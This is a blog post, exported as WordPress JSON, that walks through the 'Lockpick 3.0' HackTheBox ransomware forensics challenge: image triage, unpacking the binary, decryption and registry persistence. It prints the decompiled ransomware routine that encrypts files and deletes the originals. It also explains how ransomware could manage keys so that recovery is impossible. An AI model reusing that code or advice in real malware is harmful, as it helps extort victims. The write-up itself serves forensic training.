{"id":185,"date":"2024-01-28T09:00:00","date_gmt":"2024-01-28T09:00:00","guid":{"rendered":"http:\/\/justruss.tech\/index.php\/2024\/01\/28\/lockpick-3-0-htb-forensics-hard\/"},"modified":"2026-05-13T12:59:35","modified_gmt":"2026-05-13T12:59:35","slug":"lockpick-3-0-htb-forensics-hard","status":"publish","type":"post","link":"https:\/\/justruss.tech\/index.php\/2024\/01\/28\/lockpick-3-0-htb-forensics-hard\/","title":{"rendered":"Lockpick 3.0 | HTB Forensics (Hard)"},"content":{"rendered":"<p>Lockpick 3.0 is a Hard-rated HackTheBox forensics challenge. You are given a disk image of a Windows system that has been hit by ransomware. Five flags are hidden across encrypted files, the registry, and memory artefacts. The encryption is not<br \/>\nas strong as it looks.<\/p>\n<h3>Initial image mounting and triage<\/h3>\n<pre># Mount the image read-only\nsudo mkdir \/mnt\/lockpick\nsudo mount -o ro,loop,offset=$((512*2048)) lockpick.img \/mnt\/lockpick\n\n# Check for the ransomware binary\nfind \/mnt\/lockpick -name \"*.exe\" -newer \/mnt\/lockpick\/Windows\/System32\/notepad.exe 2&gt;\/dev\/null\n# Returns: \/mnt\/lockpick\/Users\/victim\/AppData\/Local\/Temp\/svchost32.exe<\/pre>\n<p>The binary name is a classic masquerading technique \u2014 naming malware after a legitimate Windows process. The real svchost.exe lives in System32 and is never in AppData.<\/p>\n<h3>Identifying the packer<\/h3>\n<pre>$ die svchost32.exe\nPE32: compiler: Python 3.x (PyInstaller)\nPE32: packer: PyInstaller 5.x<\/pre>\n<p>PyInstaller packages Python scripts into standalone executables. The Python bytecode is extractable.<\/p>\n<pre># Extract with pyinstxtractor\npython3 pyinstxtractor.py svchost32.exe\n# Creates: svchost32.exe_extracted\/\n\n# Find the main script\nls svchost32.exe_extracted\/\n# svchost32.pyc  PYZ-00.pyz  ...\n\n# Decompile the bytecode\npip install uncompyle6\nuncompyle6 svchost32.exe_extracted\/svchost32.pyc &gt; svchost32.py<\/pre>\n<h3>Analysing the encryption<\/h3>\n<p>The decompiled source reveals the key derivation:<\/p>\n<pre>import os, hashlib\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad, unpad\n\nVICTIM_ID = open(\"C:\\ProgramData\\victim_id.txt\").read().strip()\n\ndef get_key_iv(victim_id):\n    key = hashlib.sha256(victim_id.encode()).digest()   # 32 bytes\n    iv  = hashlib.md5(victim_id.encode()).digest()       # 16 bytes\n    return key, iv\n\ndef encrypt_file(filepath):\n    key, iv = get_key_iv(VICTIM_ID)\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    with open(filepath, \"rb\") as f:\n        data = f.read()\n    encrypted = cipher.encrypt(pad(data, AES.block_size))\n    with open(filepath + \".locked\", \"wb\") as f:\n        f.write(encrypted)\n    os.remove(filepath)<\/pre>\n<p>The victim ID is stored in plaintext at <code>C:\\ProgramData\\victim_id.txt<\/code> and also in the ransom note. The key is fully deterministic from that value.<\/p>\n<h3>Recovering the victim ID and decrypting<\/h3>\n<pre>cat \/mnt\/lockpick\/ProgramData\/victim_id.txt\n# VIC-8821-KXZP\n\n# Decrypt all .locked files\npython3 &lt;&lt; EOF\nimport hashlib, os, glob\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\nvictim_id = &quot;VIC-8821-KXZP&quot;\nkey = hashlib.sha256(victim_id.encode()).digest()\niv  = hashlib.md5(victim_id.encode()).digest()\n\nfor locked in glob.glob(&quot;\/mnt\/lockpick\/Users\/victim\/Documents\/*.locked&quot;):\n    with open(locked, &quot;rb&quot;) as f:\n        data = f.read()\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    try:\n        plain = unpad(cipher.decrypt(data), AES.block_size)\n        outpath = locked.replace(&quot;.locked&quot;, &quot;&quot;)\n        with open(outpath, &quot;wb&quot;) as f:\n            f.write(plain)\n        print(f&quot;Decrypted: {outpath}&quot;)\n    except Exception as e:\n        print(f&quot;Failed {locked}: {e}&quot;)\nEOF<\/pre>\n<p>Flags 1-4 are embedded in the decrypted document contents as HTB{&#8230;} strings.<\/p>\n<h3>Flag 5: registry persistence<\/h3>\n<pre># Extract the NTUSER.DAT hive\ncp \/mnt\/lockpick\/Users\/victim\/NTUSER.DAT \/tmp\/\n\n# Parse with regipy\npip install regipy\nregistry-explorer \/tmp\/NTUSER.DAT -p \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n\n# Output:\n# Key: Software\\Microsoft\\Windows\\CurrentVersion\\Run\n# Value: WindowsUpdate\n# Data:  C:\\ProgramData\\svchost32.exe \/silent\n# Modified: 2024-01-15 03:22:41<\/pre>\n<p>The persistence key data contained a base64-encoded string appended after the binary path. Decoding it gave Flag 5.<\/p>\n<h3>Forensic lesson<\/h3>\n<p>The critical flaw in this ransomware is using the victim ID as the sole source of entropy for key derivation. A proper implementation would generate a random symmetric key, encrypt it with an asymmetric public key (keeping the private key on the<br \/>\nattacker&#8217;s server), and discard the symmetric key after encryption. Without the attacker&#8217;s private key, decryption would be impossible. Deterministic key derivation from publicly visible material makes recovery trivial once you understand the<br \/>\nscheme.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A ransomware decryption challenge where the encryption scheme looks custom at first<br \/>\nbut turns out to be a misused AES implementation.<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-185","post","type-post","status-publish","format-standard","hentry","category-hackthebox"],"_links":{"self":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/185","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/comments?post=185"}],"version-history":[{"count":2,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/185\/revisions"}],"predecessor-version":[{"id":227,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/185\/revisions\/227"}],"wp:attachment":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/media?parent=185"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/categories?post=185"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/tags?post=185"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}